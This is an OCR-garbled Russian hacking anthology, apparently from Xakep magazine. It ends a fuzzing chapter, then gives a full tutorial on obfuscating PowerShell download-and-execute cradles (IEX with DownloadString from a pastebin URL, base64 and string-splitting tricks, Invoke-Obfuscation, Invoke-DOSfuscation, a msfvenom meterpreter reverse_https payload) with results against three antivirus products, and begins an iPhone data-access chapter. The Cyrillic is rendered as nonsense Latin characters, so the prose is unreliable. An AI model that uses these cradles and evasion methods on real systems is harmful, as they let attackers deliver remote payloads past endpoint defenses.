oOpaboTka uckmoueHui. [Tociie 3Toro Bce rotoBo M MOYKHO 3aryckaTh (as3sep:

$ afl-fuzz.exe -Y -i in -o out -t 500+ —- -fuzz_iterations 10000 --
instr crash.exe

31ech Mbl YKa3bIBaeM TO, 4TO (haisi CTaTU4eCKH HHCTPYMEHTHPOBAH, YKa3blBa€M KaTaJlor
in, rae pacnonokeHbl TecT-Ke#chbl, U Kartajor out, rae OyIyT COXpaHEHbl Pe3yJbTaThl.
Taioke n0ononHUTENBHO coobLaeM BpeMsi OkMAaHWs 0OpaboTKM KaXIOW HTepaLuu
(B MWJITMCEKYHIaX) ¥ KOJIM4eCTBO MTepauuii TectupoBanus. [Ipouecc pabotsl dassepa
nokasaH Ha puc. 12.4.

Puc. 12.4. Pa6orta caszsepa WIinAFL
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TYT CTOMT HaMOMHUTB, YTO (Da33UHT B PEAIbHBIX YCIOBUSIX MOXET [UIUThCS HENENSIMHU.
K cuacteio, y Hac Bce moizaer Obictpee. [locie Toro kak Mbl OOHapy»UM NaaeHue Mpu-
JIOKEHHUS, B KaTtajore out MOkHO Oyner HaWTt ¢aiinbl ¢ umeHamu Buzaa id:000003,
src:000001, op:flip1, pos:1. BuyTpu conep:kutcs AuarHoctuueckas MHGopManus ¢ mo-
SICHEHUSIMH, IPUMEPHO TaKUMHU:

Program received signal SIGSEGV, Segmentation fault.
0x0802f36a in crash at tst.c:32

32 int y = *x;

#0 0x0802f36a in crash at tst.c:32

crash dump #:1

Kak Buauiib, Jor moapoOHbIM, B HeM yka3aHa M (yHkuus crash, u Tun oummbku
SIGSEGV. D10 3HauWT, 4TO «BOJILIEOHBIM» MapameTp ObLl creHepupoBaH ¢as3zepom
BEpPHO U Bce cpaboTalio.

3akn4yeHue

B aT0ii 3aMeTKe s MoOcTapasics pacckasarhb, UTO Takoe (a33epbl, KAKUMH OHH OBIBAIOT U
kak paborator. Kak u mobast qpyras cTaThs B )KypHase «Xakep», 3T0O BCEro JMIIb BEKTOP
IUIS TaJIbHEMIIIEro pa3BUTHS U CaMOCTOSTENIbHOIO HM3y4YeHHs (a BOBCE HE BCEOOBEMITIO-
1ee pyKoBoACTBO). [103TOMY, BOOPYKMBILKCE YK€ TIOJyHEHHBIMU 3HAaHHSMH, Thl BCEra
CMOJKeIllb UX TIPUYMHOXHTh, POBO/IS COOCTBEHHBIE SKCTIEPHMEHTHI.
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13. O6dpyckauusi PowerShell.
Kak cnpaTtaTte nonesHyr Harpysky
OT rnas aHTuBMpyca

Aueyne CaumeanuHa

B Gazax aHTUBMpPYCOB coaepiaTcs MUILUIMOHBI CUTHATYP, OJJHAKO TPOSIHbI MO-MPEKHEMY
ocTatoTcs B XakepckoMm apcenasie. Jlaske myOsuuHble M BCEM W3BECTHbIE BAapHaHTbI
nosie3HbIX Harpyzok Metasploit, pazHoBuaHocreit RAT u cTunepoB MOryT ocrarecsi He-
3ameueHHbIMU. Kak? bnaronaps oOdyckaumu! Jlaxe ckpunt na PowerShell moxho
CIPATaTh OT JIIOOOMBITHBIX I71a3 AHTUBUpYCA.

[TocMoTpu Ha 3Ty cTpoKy. YUTO Thi 31€Ch BUAMLIL?

FnpCOMAS i e A W it (gl P ESREY A & g M3=RT A ante)) )) VEsq UG SREES 4

~e0™m2="s""ta”"t) && (7 (; ;s”eT" ~ C* oMl ="n"*"e"t) ) &&, (( ;c”all,”;,S%e T ~ 7
fi”NA1*="3COmM1"%%c Om2%"% 3°%))&&; (s » (@BIL”, ;" 7$Fi"nAl"%) ) "

ITonaraio — Huuero. A Be/ib 3TO BCEro JIMLIb KOMaHJA netstat /ano rnocljie 00¢yckalum.
B 510ii 3ameTke MBI noctapaemcsi pa3oOparbes, Kak npuBecTH komaHabl Ha PowerShell
K TaKOMY BHJLy, W [TPOBEPUM, KaK Ha 9TO CPearupyloT aHTUBHUPYChI.

PowerShell B xakuHre

Haunewm c pasroBopa o camom PowerShell. [Touemy UMEHHO OH YacTO MCMONB3YETCS MPH
B3iome? Hy, kak MuHumym noromy, 4yto PowerShell — 310 komaHaHas obosouka U He-
CJIOKHBIN CKPHITTOBBIM A3bIK. KOTOPbIM HCIIONB3YETC BO BCEX COBPEMEHHBIX CHCTEMAX
Windows. K Tomy e G0JIbLIMHCTBO KOMaH/1 UCIOJIHAETCS B MAMSTH, YTO MOXKET MOMOYb
n30exaTh aHTUBMPYCHOTO JieTekTa. EC/IM Ha KOMIbIOTepe BKJIIOYEHO yJaJIeHHOE yNpaB-
JIEHHE, TO MOKHO TMOJIYYHUTh JIOCTYI K cHcTeMe uepes 3auudpoBanHbiii Tpaduk. Cyect-
BYIOT XOpOLIME MHCTpyMeHThl W (peiimBopku s paborel ¢ PowerShell. Takoke
PowerShell mosxHO BbI3bIBaTH M3 APYrUX cKpunToB U ¢aiisios .bat, .doc, .xls, .ppt, .hta,
.exe, .dll.

C nomousto PowerShell moxno 3arpyxkars koa w3 HWurepHera (k mnpumepy,
¢ pastebin.com) win ¢aiina Ha [1K u ucnonuats ero. [l 3T0oro Mcnosb3yercss KOMaHA-
net Invoke-Expression. BOoT HeCcko/bKO NpUMEPOB HCMOJIb30BAHHUS.
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Invoke-Expression —-Command 'C:\directory\script.psl'
'C:\directory\script.psl' | Invoke-Expression

Invoke-Expression (New-Object
System.Net.WebClient) .DownloadString ('https://pastebin.com/raw/MKM5QLaP"')

Taroke MOXHO HMCMOJNIB30BaTh KOAMPOBKY Base64. Jlns Hayana cienyer 3aKOOHUpPOBATh
koMaHzbl B Base64:

[Convert] ::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes ('Baw kox'))

Hepe)l HCIOJIHEHHEM HYXHO 6y11eT AEKOAUPOBaTh HUX C MOMOILBIO -EncodeCommand:

powershell -e RwBlAQALQOBQOAHIAbwB]jGUACWBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUACWBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUACWBzAA==

EcTb Kyya apyrux uHTEepecHsix TprokoB ¢ PowerShell.

O6dyckaunsa PowerShell. MpAaTkn ¢ aHTUBUPYCOM

IMpouecc o6dyckauun PowerShell He Tako# ysk ¥ CIOXKHBIH, T. K. 3TO CKPUITOBBIH S3bIK
M MBI paboTaeM cO CTPOKAMH, a HE C HCIONHAEMBbIM ABOWYHBIM KoioM. Ilpoimemcs
10 HEKOTOpbIM MeTonaMm obdyckauuu. Bynem paccmaTpuBaTh Bce Ha npuMepe 3TOi
KOMaHJIBI:

Invoke-Expression (New-Object
System.Net.WebClient) .DownloadString ('https://pastebin.com/raw/MKM5QLaP")

s Havana nonpoOyeM yOpaTh System U3 CTPOKH System.Net.WebClient. Ha BeIMonHe-
HHE KOMaHJIbI 3TO HE MOBJHMSAET, T. K. B pyHkuusaXx .NET nucate System HeobGs3aTenbHO:

Invoke-Expression (New-Object
Net.WebClient) .DownloadString ('https://pastebin.com/raw/MKM5QLaP")

[TocmoTpuM, uto MokHO caenats ewe. URL B Hamed koManae — 310 cTpoka. YTo Mox-
HO JenaTh co cTpokaMu? [IpaBHIBHO — pa3fensTh U COEIUHATh, a BEpHee, KOHKaTeHH-
poeatb. [TonpoGyem 3T0 UcnoB30BaTh:

Invoke-Expression (New-Object
Net.WebClient) .DownloadString ('ht'+'t'+'ps:'+'//'+"'pastebin.com/raw/MKM5QLaP")

Komanna orpabartbeiBaeT TouHO Tak jxe. Temnepb nonpobyeM yacTb KOMaHAbI OOBSIBHUTH
B BUJI€ NEPEMEHHOI:

Sget = New-Object Net.Webclient;

Invoke-Expression
Sget.DownloadString ('ht'+'t'+'ps: '+'//'+'pastebin.com/raw/MKM5QLaP")

Bce otnnuno 06dycuupyercs u pabotaer. Maem pansie. Kpydy-Bepuy, 3amyrats Xxo4y!

DownloadString, HaBEPHOE, UCIOJIb3YETCA XaKEpaMH YK€ CTO JIET. 3anpﬂqu €ro U New-

Object Cpead CUMBOJIOB “ U

Sget = New-Object "'N'et. W'ebc'l'i‘ent";

Invoke-Expression $get."D'o'wn'l'oa’'d 'Str in g" ('ht'+'t'+'ps: "'+’
//'+'pastebin.com/raw/MKM5QLaP"')
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Hennoxo 3amackupoBanu. [1o4TH HEMOHATHO, YTO 3TO HAa CaMOM Jejie. A MOXKHO JIH McC-
NOJIb30BATh HE DownloadString, a YTO-TO APYroe [Uis 3arpy3Ku ckpunTa uiu daiina? [la!
Bawmemy BHUMaHMIO nipeactanstores metoasl kiacca Net.Web-Client:

DownloadString
DownloadStringAsync
DownloadStringTaskAsync
DownloadFile
DownloadFileAsync
DownloadFileTaskAsync
DownloadData
DownloadDataAsync
DownloadDataTaskAsync

Taroke mokHO Mcniosib3oBaTh He Web-Client, a qpyrue kiacchl:

System.Net.WebRequest
System.Net.HttpWebRequest
System.Net.FileWebRequest
System.Net.FtpWebRequest

Hanpnmep, BOT KakK Ha J1eJjic 6yneT BBITVISAZIETH OJHA U3 KOMAH/.

IEX (New-Object System.IO.StreamReader
([Net.HttpWebRequest] : :Create ("Surl"”) .GetResponse () .
GetResponseStream())) .ReadToEnd () ; $readStream.Close(); $response.Close()

ITponosmxum co crpokamu. [lepeBepHemM KOMaHy 3a/10M Hamnepen:

SreverseCmd = ") 'PaLQ5MKM/war/moc.nibetsap//:sptth' (gnirtSdaolnwoD. )
tneilCbheW. teN tcejbO-weN(";
IEX (S$reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX

Pa3nesnm m coeiMHUM CTPOKY APYTHM CIOCOOOM:

ScmdWithDelim = " (New-Object
Net.We~~bClient) .Downlo~~adString ('https://pastebin.com/raw/MKM5QLaP")";
IEX ($cmdWithDelim.Split("~~") -Join ''") | IEX

Cnenaem 3aMeHy.

$cmdWithDelim = " (New-Object
Net.We~~bClient) .Downlo~~adString ('https://pastebin.com/raw/MKM5QLaP")";
IEX S$cmdWithDelim.Replace ("~~","") | IEX

M cHoBa KoHKaTeHHpyeM Jpyrum criocobom:

S$cl=" (New-Object Net.We"; $c2="bClient).Downlo";
$c3="adString("https://pastebin.com/raw/MKM5QLaP")";
IEX (Scl,$c2;%¢3 =Join '%) | IEX

Cornacuch, Haa KOMaHAOH Mbl MOM3AEBAIMCH Heruioxo. [locMoTpuMm Temeph apyrue
TPIOKH, KOTOPbIE MOMOTYT J0CTaBUTh MOJIE3HYIO Harpy3ky ¢ ucnosibzoanuem cmd. EcTb
O/IMH OY€Hb W3BPALIEHHBIH METOA 3arpy3kH YAaJleHHbIX CKpUNTOB yepe3 OiokHoT. Ho
B Ooro Bce cpenactBa xopoiiu, BepHo? [loarpykaem CKpunT ¢ MOMOLUBIO CTaHAAPTHBIX
komanz File | Open u Byans — ou y Hac B Goknore (puc. 13.1).
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@ MKMSCLP[1] — Broknor - O g
®aiin [paska Qopmatr Bug Cnpasxa
:?) OTkpbiTe %
&= a J’ » 3107 KomnbroTep > Mysbika v & Tonce Myzeia »
¥nopsagouute ¥ Cozgate nanky #: v g 0
B Pabouwii cro. # N Wma & Ne Hazeanue Wenennurenn

w‘ 3arpyskn  # o
Lokymentor #

[&] MzoBpaxerm #
Bugeo
J‘) Mysbika

¢ OneDrive

Hersn EMEHTOE, YAOBNETECPAIGLLY YCNOEUAM NOKUCKE.

37oT KoMnbiaTEp

& Buaeo
JokymenTot
q‘ 3arpysku
Blvsobpaxenun v <Hi ... >
Wma daitna: Ihttp://pastebin.com/raw/MKMf ~ | | Bce daitnel v
Koauposxa: %UTF-E: V; l OtkpbiTh l Ormena 5 .
7 MKM5QLaP[1] — Bnoxwor - O %

®Qaiin Mpaeka ®opmar Bug Cnpaska
bm-aershell —enCIWBDAGSAbgBZAGSAbABlAFOAOgABAE8AdQBQAHAAdQB@AEUAbgBjAGSAZABpAGMZwAgAD@AIN

Puc. 13.1. 3arpy3ska koaa u3 UHtepHeTa

Kak 370 Bce aBTOMaTH3MpOBaTh U Hcrosb3oBaTh? C nomounsio Metoaa SendKeys oObek-
Tta WscriptShell, kotopeiii MUTHpYyeT HaxkaThe kiaBuil. [Ipumep momoOHOro ckpumnTa
C UCTIOJIb30BaHUEM OJIOKHOTA MPEACTABIIEH HUKE:

Swshell = New-Object -ComObject wscript.shell;
Swshell. run ("notepad") ;

Swshell.AppActivate ('Untitled - Notepad');
Start-Sleep 2;

Swshell.SendKeys ('"0'");

Start-Sleep 2;

Swshell.SendKeys (http://pastebin.com/raw/MKM5QLaP) ;
Swshell.SendKeys ('~");

Start-Sleep 5;

Swshell.SendKeys ('*a');

Swshell.SendKeys ('~c');

[Mponomkaem urpath B NpATKH. MOXKHO CrIpATaTh apryMeHThl KOMaHbl B POAUTEIBCKOM
npouecce. MHTEpecHO, MPOBEPSIOT TN aHTUBHPYCHI UX?

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Greené&& cmd /c echo %cmd% 7|
powershell -"
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A Henb3s M KWenosk3oBaTh He emd, a uTo-To Apyroe? Hanpumep, B HEKOTOPBIX Clly4asx
emd moxHO 3amenuTh Ha forfiles. Forfiles — 310 koHconbHas yrunura Windows s
onepauwuii ¢ dainamu.

Takoke emd MOXKHO BbI3bIBaTH He HAMPAMYHO, a Yepe3 MEePEMEHHYIO 5COMSPEC:. 3amyTbl-
BaeM PowerShell eme Gonbiie! B koManmax BMecTo 3HAaKa - MOJKHO MCIOJIB30BATh
3Hak /. Hanpumep, BoT Tak:

powershell.exe -nop -noni -enc
powershell.exe /nop /noni /enc

Kaxercs, namyapunun noctatoyno. MoxkHO elie MHOro o0CysKaaTh 9TH 3amMeyaTelibHble
meTo/ibl. KoMy uHTepecHo, etle Gosblile METOA0B HaieT B npeseHtauusx Janusns bo-
xaHHoHa (https://www.sans.org/cyber-security-summit/archives/file/summit-archive-
1492186586.pdf, https://conference.hitb.org/hithsecconf2018ams/materials/D1T2
%20-%20Daniel%20Bohannon%20-%20Invoke-DOSfuscation.pdf). Hy a mMbi noka
4TO MMOCMOTPUM Ha HAMMCAHHbIC UM MHCTPYMEHTBI, KOTOpbIE YMpOCTAT 00(dycKalHio
Y CJeJIalOT BCE 3a Hac.

ABTOMaTusupyem ob6cyckauuio

ITepebiii  uHCTpyMeHT — Invoke-Obfuscation. 1o  ¢peiimBopk a1 o6dyckauuu
PowerShell, koTopeiii ucnonb3yer pa3Hbie METO/IbI, B TOM YMC/I€ M Ha3BaHHbIE B Mpebl-
ayuieM paszene. 3arpyxaeM apxuB 1o ccbuike https:/github.com/danielbohannon/
Invoke-Obfuscation, 3anyckaem PowerShell. [Tepexoaum B nanky ¢peiiMBopka, MeHsieM
NOJIMTHKY MCTIOJIHEHHS, €CJIM HAJ10, U 3amyckaeM cam (hpeHMBOpK:

Set-ExecutionPolicy Unrestricted
Import-Module .\Invoke-Obfuscation.psdl
Invoke-Obfuscation

PaGora yrunutel nokasasa Ha puc. 13.2.

Jl/1s nepBOHAYaIbHOrO 03HAKOMJIEHHMs BBOJIM KOMaHAy tutorial. [lns TectupoBaHus Oy-
JAEM UCIIOJIb30BATh BCE TY K€ KOMaHAY. nOCMOTpHM HCO6XO}1HMHC OINnuUHHU U YCTAaHOBUM
HYKHbIE!

show options

set scriptblock Invoke-Expression (New-Object
System.Net.WebClient) .DownloadString ('https://pastebin.com/raw/MKM5QLaP"')

[TonpoGyem wucnonb3oBath KoHkarteHauuto. [lonmydaem pesyabTaT W Hauly CTPOKY
(puc. 13.3).

Takxke moxkHo 3akoaupoBats komanay B ASCII, HEX, Octal, Binary, SecureString uiu
BXORencoding. Harpy3ky Bozbmem notskenee. Hanpumep, co3naaum ee ¢ MOMOILLBIO
ms fvenom:

msfvenom -p windows/meterpreter/reverse https —--format psh --out xaker.psl
LHOST=192.168.0.11 LPORT=8080

[TonpoGyem ucnonbzoate ENCONDING 1 onuuto 6. [TonyueHHbIH pe3yabTaT nokasaH
Ha puc. 13.4.



nvoke-Obfuscation

AT oh P

AT NIRRT N A F i

ol & IR Y Al RS A5 s St R ARG
P b S S A AN

LN A s AR T SN BB O 2ol

Yk A e NN A A S e R TS e e SHES

QU OB e A S RS L T R A

e A S S T TN PSS

L o8 fae nhie, b TUTORIAL
higo 4} Help HELP. GET-HELP.? -2 /2 MENU
Show options far pagisad 24 abiuiiuts SHOW OPTIONS SHOW OPTIONS
Clear Pean CLEAR. CLEAR-HOST . CLS
Execute ¢ fapd S dotatt EREC EXECUTE, TEST RUN
Copy (ihfaicated! 3 » COPY . CLIP,CLIPBOARD

Reset 2

Undo

Ga' Back ik pi 15 g

Quit, Iavsle 9 QUIT .EXIT
Retuaany 14 HOME_ MATN

i TOKEN cimmant Tokens
2 S oo PR

AST :
# STRING ¢ % o o String
«i ENCODING Ohfukda via Encoding
i COMPRESS > 3 ; e TAoes
+% LAUNCHER £ soaka G e s Launcher ¢/

iy

i Gompress

Puc. 13.2. ®peitmeopk Invoke-Obfuscation
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Puc. 13.3. PesynbTaT 06chyckayum




Encoding\6
Out EncodedBXORCommand —SeriptBlock ¥ PassThru

Puc. 13.4. PesynbTaT 06byckaumm none3Hon Harpy3ku

Mo>kHO Hcnonb30BaTh BMECTE KOHKATEHALMIO, encoding M compress. [lonpoOy# mowur-
paTbes ¢ pa3HbIMHM BapHAHTAMU U KOMOWHALIMSMHU.

DOSfuscation

Cnenyrowmuii HHCTpYMEHT Toro ke aBtopa — Invoke-DOSfuscation (puc. 13.5). Ckauu-
BaeM ero, 3anyckaem PowerShell u BBoaum B nanke ¢peiiMBOpKa KOMaH/IbI:

Import-Module .\Invoke-DOSfuscation.psdl
Invoke-DOSfuscation

[TonpoGyem 06¢dycumpoBaTh Ty e MoNe3HyI0 Harpy3Ky aBTOPCTBA msfvenom. Y CTAHOBHM
HEoOXOUMbIE OMLIMK U KCIOJIb3yeM 0a30Byr0 00¢ycKaluIo:

’ MENU options

futorial

Help
Show options
C

Hone

TUTORIAL

HELP.GET-HELP.? -2 /7 MENU
SHOW OPTIONS SHOW. OPTIONS
CLEAR . CLEAR-HOST .CLS

EXEC. EXECUTE TEST.RUN

COPY . CLIP. CLIPBOARD

out

RESET
UNDO
BACK.CD ..

QUIT EXIT
HOME MAIN

options

BINARY hinary
ENCODING encoding
PAYLOAD payload

Puc. 13.5. Invoke-DOSfuscation
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SET COMMANDPATH c:\xaker.psl
Forcode

Basic Obfuscation
[Tonyuaem Hairy 3aMackMpOBaHHYIO MOJE3HYIO Harpysky (puc. 13.6).

options

Concat
Reverse

options ©o APPLY

Payload\FORcode\1 :
Qut-DosFORcodedConmand ~Command JCammund -Obfuscatienlevel 1

Puc. 13.6. PeaynsTaT 06dyckauum ¢ nomoLbto Invoke-DOSfuscation

Peakuusa aHTMBUpPYyCcOB

Hacrano Bpems npoBepuTh, Kak pearupyroT aHTHBUPYChI Ha Hallly Harpy3ky ¢ oodycka-
umed u 6e3. Jlng tecta Oynem ucnonb3oBath Tpu aHTuBHpyca: Kaspersky, Eset NOD32,
Windows Defender.

[lepBeim B Goii uuer Kaspersky. IlpoBepsem Hainy mnosne3nyro Harpy3ky msfvenom
B mepBoHauyanbHOM Buae. KAV naxe He 1an MHe MEPEeHTH IO CChIIKE sl CKaYUBaHUS
¢aiina xaker.psl! Ho creayroume nsa o6dycunpoBanHbiX (haidia crokoiHO ObliM 3amy-
LEHBI, ¥ HUYTO HE NPEnsTcTBOBaNO 3arpy3ke. OJHAKO NMpoOaKTHBHAs 3alllMTa aHTHBHUpPYCa
yepe3 HEKOTOpOe BpeMsl y3Haja 1o MOBEACHHUIO, YTO 3TO Halll Neiioal.

[Tepexoaum k Eset NOD32 u nposepsiem daiinibl B TOM ke nopsijike. [lopasurensHo, HO
OH He 3aMeTHJ Jake HeoO(ycuupoBaHHbIN (aii.

Hanocnenok nposepum nipu nomouin Windows Defender. On He nan 3anmycTuTh nepBblii
daiin 6e3 odbdyckauun u cpazy ynanui ero. Bropo# ¢aiin 3anycTuics criokolHO U He
ObL1 3ameueH. Tpetuid daiin 3amycTuiics, HO BO BpeMs 3arnycka Obijl 0OHapyKeH.

[TpumeuaresibHO, YTO €ClIM KOHBEPTUPOBATH CKPHIIT B .eXe C MOMOLLbIO YTHINTHI Ps2exe,
TO aiiiabl OyayT BU/iHbI OONBIIMHCTBY aHTUBUPYCOB.
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BeiBOAbI

[ToGeny B 3T0i Urpe npuHeceT 3HaHWe Leau. Eciu Tl 3HaelIb, UCMIOIBL3YETCS JIM aHTH-
BMPYC M KaKOW KOHKPETHO, TO BIOJIHE €CTh LIAaHC OOOWTH €ro MpH MOMOLLU TaKOro He-
cnokHoro Tproka. Taioke mose3Ho 3Hath Bepcuio PowerShell Ha ueneBodt mamumHe u
NPOBEPSATD, HE CIoMaJics Jin ¢aiii, Ha Hel xke.

JlopabotaTh 00¢yckalmio Thl MOKEIb caM M, KOMOMHUPYs pa3Hble BapUaHTbI, CenaTh
TakK, 4TOObI AHTMBUPYC TOYHO He pacno3Hain noseaeHue. [lonpoOyii Bce MeTOaBI U 3aTeM
KOMOMHUpYH py4Hyto 00(dyckaluio, crnocoOb! crpsTaTh Harpy3ky M pacCMOTpPEHHbIE
(bpeiiMBOpKM Ha MOZJENH 1ie/ieBOH MaluuHbl. O0A3aTeNbHO JOKHO MOMYYUTHCS UYTO-TO
YHHKaJbHOE, YTO MpPOMIET MMMO HOCAa aHTUBMpyca. B KOHLe KOHLIOB, BCE€ OrpaHHUUYEHO
TOJIbKO TBOEH (paHTazueii!



d
L

L
I:

14. Kak Banomatb iPhone.
Pa3bupaem no waram BCce BapuaHTbl
AOCTYNa K AlaHHbIM YCTPOUCTB ¢ i0S

Onez AgpoHUH

B aTom pazaene Mbl MOApOOHO paccKaXkeMm O TOM, YTO MpoucXoauT ¢ iPhone B kpumuHa-
JIUCTHYECKOW NabopaTopud. Mbl BBISICHHM, HACKOJIBKO peajibHO B3jaoMaTh 3amuty 10S
pa3HbIX BEPCHIt U 4TO Ui 9TOrO NOHAA0OUTCS B pa3HbIX ciydasx. CeroqHs Mbl pa3bepem
3TOT MPOLIECC LEIUKOM M 110CTapaeMcs OXBaTHTh BCE BO3MOKHBIE BAPHAHTBI.

13 aBrycra 2018 roga Pycckas ciyx6a bu-Ou-cu coobuinna o 3akyrnke CiiecTBEHHBIM
KOMMTETOM armapaTtypsl uis B3joma iPhone, koTopast Bckpoer cambiii cBexuit iPhone
BCETO 3a JeBsATh MUHYT. He Bepuiub? S Toxke He Bepro, YTO TaKOe MOTJIO OMnMyOIMKOBaTh
CTONb COJIMAHOE M3AaHue, HO (akT octaeTcs (akTom. XoueTcs NPOKOMMEHTHPOBATh
dbpasy skcnepra JImurpus Catypuenko: «M3pannbckoit Cellebrite st B3noma iPhone 7
Wi 8 Hy)KHO 0ofblile CYTOK, a W3BJIEUEHHBIE JaHHble TPeOYIT Cepbe3HON aHaIUTHKH.
MagiCube obpabathiBaeT ToT e iPhone 3a neBATH MUHYT, NpH 3TOM 000pyAOBaHKE
3aTOYEHO Ha TMOJIyHYeHHE YYBCTBUTE/IbHBIX JaHHBIX M3 MECCEH/DKEPOB, IZIe COAEPIKHMTCS
80-90% uHTepecHO# UHOpMALIK.

VY HenoAroToBJIEHHOrO YMTATesl MOXKET CO3JaThCsl BIIEUATIEHHE, YTO MOXKHO TMPOCTO
B34Tb 000 iPhone u u3Bneub W3 Hero nHdopMauuio 00 HUCTOIL30BAHUM MECCEH IKe-
poB. DTO He Tak Mo MHOrMM npuyuHaM. HauHem c Toro, uro MagiCube — ay6aukarop
JKECTKUX TMCKOB, a MOOM/IbHBIC YCTPOWCTBA aHAM3UPYET Apyroil koMruieke. iPhone To-
JKe MoJoHaeT He MboH, a paboTatoimi cTporo noj yrpaeieHuem i0OS 10.0-11.1.2 (t. e.
HM pa3y He oOHoBnsBlMiics nocie 2 nekabps 2017 roxa). [lanee nam norpedyercs y3-
HaTh (y MOJb30BATENs) WM B3JOMaTh (CTOpOHHUMHM pelieHusMu — GrayKey wnu
Cellebrite) ko 6GnokupoBku. M BOT mocie 3Toro, pazdoiokupoBaB TenedoH, MOKHO MOJ-
KJIIO4ATh €ro K KHTaHCKOMY KOMITJIEKCY U W3BJIeKaTh HH(OPMaLHIO.

Yto ke, B KOHLIE KOHIIOB, NPOMCX0aUT? MoskHO i B3sioMatk iPhone 7 unu 8 3a nesars
muHyT? JlefictBurenbHo sn peutenve iDC-4501 (a Boce He MagiCube, koTopsiii siBiis-
€TCsl BCEero JIMb AyOIMKATOPOM JKECTKUX JMCKOB) MpeBocXoauT TexHomorun Cellebrite
u Grayshift? Hakoneu, kak ke Bce-TakM MokHO B3nomath iPhone? TlonpoGyem paso-
Opatbcs, YTO K€ UMEHHO 3aKynui ClieICTBEHHbIH KOMUTET, KaK M Korja 3T1o paboTaeT u
YTO AenaTh B TeX 99% ciyyaes, Korja KOMIUIEKC He CIIpaBiseTcs ¢ 3aaauei.
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9TO 3aBUCMUT...

Ipexxae uem nbiTaThes MOMYyuUTh AOCTYM K iPhone, naBaii pazbepemcs, 4TO U MPH KaKUX
YCJIOBUAX MOXHO caenath. Jla, B »kypHasie «Xakep» Oblna Macca nmyOaukauuii, B TOM
YHCJIE M BECbMA JIETAJIbHBIX, B KOTOPBIX Mbl OMMCHIBAIM Pa3IH4YHble CMIOCOOBI B310Ma MO-
J00HBIX ycTpoicTB. Ho BOT mepen To6oi JieKUT YepHbId KUpUUMK. Kakum U3 MHoro-
YUCJIEHHBIX CNOCOOOB M KAKMMH HMHCTPYMEHTaMM Thl cOOMpaelibesi BOCMOIB30BATHCA?
IToryuurcst M 310 caenath BooOle, a €ClM MOJTYyYUTCS — CKOJIBKO BPEMEHH 3aiiMer
B3JIOM, U Ha YTO Thl MOXELb PACCUUTHIBATH B pe3yJsibraTe?

Jla, oueHb MHOTO€ 3aBUCUT OT MOJIE/IM YCTPOWCTBA M YCTAHOBJIEHHOW Ha HeM BepcuH i0S
(xOTOpYy!O, KCTaTH, HY>KHO elle y3HaThb — M, 3a0eras Briepel, CKaxy: JajeKko He (akT,
4ro Tebe 310 yaactes). Ho naxe iPhone BrosnHe oueBHaIHON MOJEIH C TOUHO U3BECTHOM
Bepcuei i0S MOXKeT HaXOIUThCS B OZIHOM M3 MHOXKECTBA COCTOSIHUM, 1 UMEHHO OT 3TOrO
Oyner 3aBuceTbh HAGOP JOCTYIHBIX Tebe METOIOB W MHCTPYMEHTOB.

Jlns Havana faBait JoroBopuMcs: Mbl OyZieM paccMaTpUBaTh UCKIFOUUTEBHO MOKOIEHUS
iPhone, o6opynoBanHbie 64-pa3psaHbIMH Tpolieccopami, T. €. Moaenu iPhone 5S, Bce
Bepcuu iPhone 6/6s/7/8/Plus u texkymuii ¢paarman — iPhone X. C Touku 3peHus B3aoma
3TH YCTPOHCTBA OTJIMYAIOTCS MaJIo (32 UCKITIOYEHHEM CTaphIX MOKOJIEHUH B CiTy4ae, eclii
y Tebs ecThb goctyn Kk ycayram komnasnuu Cellebrite).

YcTtaHOBNEH nu Koa 6510KNPOBKU?

Apple MoxeT HCMONb30BaTh MaKCUMAaJIbHO CTOMKOE IU(pPOBaHHE, HABOPOTUTH CIIOXK-
HEHIIYI0 MHOTOYpPOBHEBYIO 3aIUTY, HO 3aLMTHUThH MOJb30BaTeNeH, KOTOPbIM «HEYEro
CKpbIBaThb», HE cyMeeT HUKTO. Ecin Ha iPhone He ycTaHOBNeH Kol O1IOKMPOBKH, U3BJIE€Yb
U3 HEro aHHble — /IeJ10 TPUBHAIbHOE. HauaTh MOXKHO 3a Te camble JeBATh MUHYT, O KO-
TOpBIX TOBOPWIOCH B cTaThe bu-Ou-cu. BeposTHo, mpouecc 3aiiMer Oosiee ATUTENbHOE
BpeMs: Ha konupoBanue 100 [0aliT 1aHHBIX YXOOUT Mopsiika AByX yacoB. Uto mns atoro
Tpebyercs?

Bo-nepBbiX, noakIoun TeraegoH K KOMIbIOTEPY, YCTAHOBU JOBEPEHHbIE OTHOLIEHHS U
co3fai pe3epBHYIO Komuio. [ 3TOro MoKHO Mcrnonbp3oBaTh Aaxe iTunes (mpeasapu-
TeJIbHO 0053aTeNIbHO OTKJIIOYM B HEM [IBYCTOPOHHIOIO CHMHXPOHM3ALMIO), HO CIIELIMAIIU-
ctel ipeanoutyT coe [10.

YcTaHOBMNEH Ny naposb Ha pe3epBHYIO KOMUIO?

He ycranoBneH? YcraHoBH U c/enaid eilie 0Hy pe3epBHYHO Komuto (puc. 14.1).

3ayeM ycTaHaBIMBATh NMaposib Ha O3kan? Jleno B TOM, YTO 3aMeTHas 4acTh UHPOPMALUH
B pe3epBHbIX konusax iOS mmdpyeTcs naxe Toraa, Koraa nojib3oBaTesb TAKOro naposis
He ycTaHaBiMBal. B Takux ciyyasx Ans mwingpoBaHUS UCIMOJb3YeTCsl YHUKAJIbHBIA AMs
Ka)XJ10ro yctpoiictBa kitod. Jlydine ycraHOBUTH Ha Odkamn o000l M3BEeCTHBIH Tebe ma-
poJip; TOrJa pe3epBHas KOMHs, BKJIIOYas «CEKpeTHbIe» HaHHble, Oyaer 3aumdpoBaHa
3TUM ke naposieM. M3 uHTepecHOro — Thbl MOJNYUMILb JOCTYN K 3alIMIIEHHOMY XpaHH-
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Puc. 14.1. YcTaHoBKa Napons Ha pe3epBHYIO0 KOMWIo faHHbIX MOBUNBLHOro yCTpoiicTBa

vty keychain, T. e. Ko BceM mapoJisiM MoJb30BaTess, COXpaHEeHHBIM B Opay3epe Safari
Y MHOTHX BCTPOEHHBIX U CTOPOHHHX MPUIIOKEHUSX.

A 4TO, eciii Napojib Ha Pe3epBHYIO KOMHIO YCTaHOBJIEH U Thl €r0 He 3Haellb? Masosepo-
STHO /s JIFOfIel, KOTOPbIM HEYero cKpbiBaTh, HO Bce xke? J[ns ycTpoiicTs, paboTarommx
